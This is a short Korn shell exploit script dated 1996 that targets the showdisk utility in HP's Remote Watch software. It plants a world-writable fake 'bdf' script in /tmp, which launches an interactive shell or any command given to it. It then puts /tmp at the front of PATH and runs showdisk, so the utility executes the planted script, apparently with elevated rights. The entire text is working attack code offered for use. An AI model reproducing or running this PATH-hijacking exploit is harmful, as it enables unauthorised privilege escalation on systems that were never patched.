#!/bin/ksh # remwatch showdisk exploit, before the patch # Silly-Scriptor/Salty, SOD # (as of 11Jun96) if [ ! -x /usr/remwatch/bin/disks/showdisk ] then echo This is an exploit for the showdisk utility internal to echo HP\'s Remote Watch series of programs. echo The showdisk utility doesn\'t appear to be on your system. echo Moo exit fi PGM=$* if [ -z "${PGM}" ] then PROGGIE=`basename $0` echo "${PROGGIE}: I will run a shell for you" PGM="/bin/ksh -i" fi TTY=`tty` echo '#!/bin/ksh' > /tmp/bdf echo "${PGM} >> ${TTY} 2>&1" >> /tmp/bdf chmod 777 /tmp/bdf PATH=/tmp:$PATH export PATH /usr/remwatch/bin/disks/showdisk arg arg /dev/null arg > /dev/null 2>&1